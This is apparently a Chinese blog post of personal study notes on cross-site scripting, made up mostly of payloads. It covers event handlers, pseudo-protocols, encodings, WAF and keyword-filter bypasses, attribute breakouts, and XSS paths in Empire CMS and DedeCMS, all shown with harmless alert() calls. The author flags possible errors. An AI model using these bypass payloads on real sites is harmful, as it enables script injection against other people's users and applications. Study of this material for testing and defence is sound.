ueditor php 漏洞_XSS漏洞学习(一)Payload总结

总结到最后还是有点乱, 将就看吧, 呜呜呜~

有错误还请指出.

基础知识

弹窗的三个函数

alert(7)prompt(7)confirm(7)

on事件

这里太多了, 没必要列完, 真用到其他事件时百度即可.

onerror  错误onload  加载onclick  点击onchange  域的内容被改变onblur   元素失去焦点onfocus   元素获得焦点onmouseover  鼠标移到某元素之上onmousemove  鼠标被移动onmouseout  鼠标从某元素移开onmousedown  鼠标按钮被按下onreset   重置按钮被点击onsubmit  确认按钮被点击onselect  文本被选中

伪协议

JavaScript伪协议
//值为url类型的标签属性均可使用javascript伪协议, 如href/src/action//JavaScript伪协议声明了URL的主体是任意的javascript代码//它由javascript的解释器执行,并将结果返回给当前的页面。//示例233//a标签的href属性值为: alert(7), 页面加载时,由javascript解释器解析//当a标签被点击时, 会触发href属性, 解析的代码被执行
data伪协议
data:text/html,  data:text/html;base64,data:text/javascript,data:text/javascript;base64,

关于编码

编码类型/示例字符

<

s

html实体编码(10进制)

<s

html实体编码(16进制)

<s

javascript编码(8进制)

\74

\163

javascript编码(16进制)

\x3c 

\x73

jsunicode编码

\u003c\u0073

url编码

%3C

%73

base64编码

PA==cw==
  • 实体编码中是可以去掉的. 如 s --> s

  • 实体编码中可添加多个<0>.如 s  --> s (绕waf可能会用上)

  • javascript编码(8进制) 较上述编码中, 相对简短.

Payload大全

XSS速查表

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

写入弹窗函数的js文件外链

https://xss.haozi.me/j.js

XSS快速定位
';`">ddd

圆括号被过滤

弹窗函数被过滤

eval("\x61\x6c\x65\x72\x74\x28\x31\x29")eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")eval(String.fromCharCode(97,108,101,114,116,40,55,41))top['al'+'ert'](7)self['al'+'ert'](7)window['al'+'ert'](7)

关于autofocus自动触发on事件

onfocus: 元素获得焦点

autofocus: 自动获得焦点

两者结合便能够实现自动触发弹窗, 但需要注意的是, 它会陷入一个死循环, 无限弹窗.

关于location的各种变形绕关键字

  • location中的内容会进入JS语法部分, 所以这里支持字符串拼接, JS各种编码等操作, 在浏览器解析的时候, 会自动将这部分内容进行解码.

  • location本身可以进行实体编码, js编码

  • 具体原理可百度

允许构造标签

敏感标签被过滤

onload, onerror, onfocus全部被过滤请跳过这里

不常见的on事件

on事件全部被过滤

  

无法构造标签

大多数时候, 尖括号会被过滤, 我们无法构造标签...

但却能通过引号闭合某些标签中的属性值, 从而构造on事件属性, 实现XSS

标签内

正常能控制的是type属性

" onfocus=alert(7) autofocus x="" onmouseover=alert(7) x="" onmousemove=alert(7) x="

常见位置: 搜索框

369fd682b2b6952f559288a650abf1f2.png

标签内

正常能控制的是href属性

情况一: 只能控制href部分的输入

" onmouseover=alert(7) x="" onmousemove=alert(7) x="

这里举个栗子

原url: http://www.xxx.com/search.aspx输入2333: http://www.xxx.com/search.aspx/2333审查元素看到2333在标签中被输出1输入payload: http://www.xxx.com/search.aspx/2333" onmouseover=alert(7) x="再次审查元素查看1结束!实际中很少有这么顺利的, 往往闭合后还需要绕一些关键字哈哈

情况二: 能够控制整个href属性

这种情况就好多了, 首先不需要考虑闭合了, 直接使用JS伪协议.

javascript:alert(7)

常见位置: 分页按钮

这种可以尝试在当前页面url后面进行闭合, 审查元素看看有没有变化

4439e25ca1aedaccde6c72994c19653a.png

hidden属性的标签内

" accesskey=X onclick=alert(7) x="" onmousemove=alert(7) type="

这里举个栗子

补充一种很少见但实际遇到过的绕过WAF的情况

<inputtype="hidden"value="aaa" abc accesskey="X"οnclick="alert(7)"x="">

这里穿插了一个abc无效属性绕过了WAF

不添加的话会直接被拦截, 网站无响应

在payload中穿插无效的属性, 可能会绕过WAF的正则匹配, 遇到被WAF拦截的情况时可以尝试下

XML_XSS

如果允许上传xml格式, 可将下面Payload保存为xml文件并上传, 访问即可触发弹窗. 

PS: ueditor编辑器默认是可以上传xml文件的, 大家遇到可以试下.

将如下payload保存为xml文件, 上传到服务器并访问即可触发弹窗

过滤器绕过

大小写绕过

注意: JS严格区别大小写, HTML不区分大小写

可以测试下 行不行

双写绕过

alert(7)

特殊字符混淆绕过

61f4096ae4fa1490d5b8ffae02cbd6b9.png

常用特殊字符:

&NewLine; (H5新实体编码,表示回车)&colon; (H5新实体编码,表示冒号)&lpar; (左圆括号)&rpar; (右圆括号)``  (反引号可代替左右圆括号)%0a (回车)%0d (换行)%09%0b%0c

编解码绕过

能力有限, 想来想去这里真的总结不好, 关于编码的变形实在是太多...

上述所有的Payload基本都可以通过编码或者js语法来变形, 但编码绕过的情况个人感觉也不是很多

后面有机会再做下这部分的学习与总结

CMS通用XSS漏洞

帝国CMS

/e/ViewImg/index.html?url=javascript:alert(7)

织梦CMS

/dede/login.php?gotopage=%22%3E%3Ca%20href=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(7);%3E

参考文章

https://www.cnblogs.com/xiaozi/p/5588099.html

https://www.jianshu.com/p/cfdf1747d30e

https://www.jianshu.com/p/6ce1ab9ec9f7

https://www.jianshu.com/p/60d8c9433b37

下篇写下关于XSS常见疑惑问题的一些解答

说明: 

文章即为学习笔记, 不保证内容完全准确, 上文中的链接均为参考文章可进一步深入学习, 文中如有错误还请多指出, 共同进步.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值